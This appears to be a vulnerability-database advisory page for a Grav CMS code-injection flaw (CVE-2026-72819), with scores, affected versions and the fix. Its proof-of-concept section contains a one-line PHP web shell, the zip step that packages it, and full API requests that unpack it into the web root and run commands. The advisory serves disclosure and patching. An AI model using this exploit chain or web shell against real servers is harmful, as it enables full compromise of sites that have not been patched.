Grav CMS vulnerable to remote code execution via .zip file upload
CVE-2026-72819 (GitHub advisory GHSA-r94f-hx44-8jqf) is a high-severity vulnerability with a CVSS 4.0 base score of 8.7, classed as Improper Control of Generation of Code ('Code Injection') (CWE-94), in getgrav/grav (Packagist). Affected versions: < 2.0.13. It is fixed in 2.0.13.
Published 14 Aug 2026Updated 17 Sept 2026
- CVE ID
- CVE-2026-72819
- GHSA ID
- GHSA-r94f-hx44-8jqf
- EPSS
- 0.5%higher than 41% of CVEs
- Weakness (CWE)
- CWE-94Improper Control of Generation of Code ('Code Injection')
- KEV status
- Not in KEV
- Published
- 14 Aug 2026
- Updated
- 17 Sept 2026
- Ecosystem
- Packagist (PHP)
- Assigned by (CNA)
- VulnCheck
Summary
Source: OSV (GitHub advisory)
A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.
Details
The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.
The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.
Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.
PoC
-
Log in at
http://TARGET/login(or/admin). The session cookie is the only credential needed below. -
Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at
/user/media/evil.zip.Zip the shell.php file with the php code mentioned below:
shell.php: <?php system($_GET['c']); ?> zip evil.zip shell.php -
Send the request (attach your Cookie and X-API-Token):
PATCH /api/v1/config/plugins/flex-objects Content-Type: application/json { "directories": ["user/config/plugins/flex-objects.yaml"], "title": "Pwn", "type": "flex-objects", "config": { "data": { "object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject", "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection", "index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex", "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage", "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"}, "folder": "user-data://flex-objects/pwn.json" } } } }, "form": { "validation": "loose", "fields": { "name": {"type": "text", "label": "Name"}, "pwn": {"type": "text", "label": "pwn", "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]} } } } -
Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):
POST /api/v1/flex-objects/flex-objects Content-Type: application/json {"name": "x"} -> 201 -
Open the file that was written:
http://TARGET/shell.php?c=id -> PWNED:uid=1000(kali) gid=1000(kali) ...
Impact
Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.
Technical details
Source: GitHub Advisory Database
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NHigh8.7Base score from GitHub Advisory Database
- Attack Vector AV
- Network
- Attack Complexity AC
- Low
- Attack Requirements AT
- None
- Privileges Required PR
- Low
- User Interaction UI
- None
- Confidentiality (Vulnerable System) VC
- High
- Integrity (Vulnerable System) VI
- High
- Availability (Vulnerable System) VA
- High
- Confidentiality (Subsequent Systems) SC
- None
- Integrity (Subsequent Systems) SI
- None
- Availability (Subsequent Systems) SA
- None
CISA SSVC decision points
- Exploitation
- poc
- Proof-of-concept code is public
- Automatable
- no
- Needs manual steps per target
- Technical impact
- total
- Full control of the affected system
CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.
Affected packages
Source: OSV (GitHub advisory)
- getgrav/gravPackagist (PHP)
pkg:composer/getgrav/grav- Affected versions
- < 2.0.13
- Fixed in
- 2.0.13
Show 347 listed versions
- 0.8.0
- 0.9.0
- 0.9.1
- 0.9.10
- 0.9.11
- 0.9.12
- 0.9.13
- 0.9.14
- 0.9.15
- 0.9.16
- 0.9.17
- 0.9.18
| Package | Affected versions | Fixed in |
|---|---|---|
getgrav/grav Packagist (PHP) pkg:composer/getgrav/grav |
Show 347 listed versions
|
|
Fix
Source: OSV (GitHub advisory)
Fix available
Upgrade to 2.0.13 or later.
Release commits
The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.
Vulnerability intelligence
Root cause analysis
Vulnerable functions
References
Advisories 5
Package 1
Credits
- Kuba0123reporter
Questions about CVE-2026-72819
- What is the GHSA ID for CVE-2026-72819?
- GitHub tracks CVE-2026-72819 as GHSA-r94f-hx44-8jqf.
- What is the CVSS score of CVE-2026-72819?
- CVE-2026-72819 has a CVSS 4.0 base score of 8.7 (High), vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Other published scores: CVSS 3.1 8.8.
- Which versions are affected by CVE-2026-72819?
- getgrav/grav (Packagist): < 2.0.13.
- How do I fix CVE-2026-72819?
- Upgrade to 2.0.13 or later.
- What is the Package URL (PURL) for CVE-2026-72819?
- The affected package's PURL is pkg:composer/getgrav/grav.
- Is CVE-2026-72819 exploited in the wild?
- CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-72819. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.5% chance of exploitation in the next 30 days, higher than 41% of CVEs.
Data sources
Upstream records
- OSV (GitHub advisory)LoadedRaw JSON
- GitHub Advisory DatabaseLoadedRaw JSON
- OSV (CVE record)LoadedRaw JSON
- CVE.orgLoaded
- CISA KEV catalogLoaded
Fetched 5 days ago (8 Oct 2026, 15:21 UTC). Records refresh automatically after 24 hours.
Where each part of this page came from
- Title and description
- OSV (GitHub advisory)
- Severity score
- GitHub Advisory Database
- Weakness (CWE)
- GitHub Advisory Database
- Affected packages
- OSV (GitHub advisory)
- Fix
- OSV (GitHub advisory)
- References
- Computed by CVEminer
- SSVC
- CVE.org
- KEV status
- CISA KEV catalog
- EPSS
- GitHub Advisory Database
OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.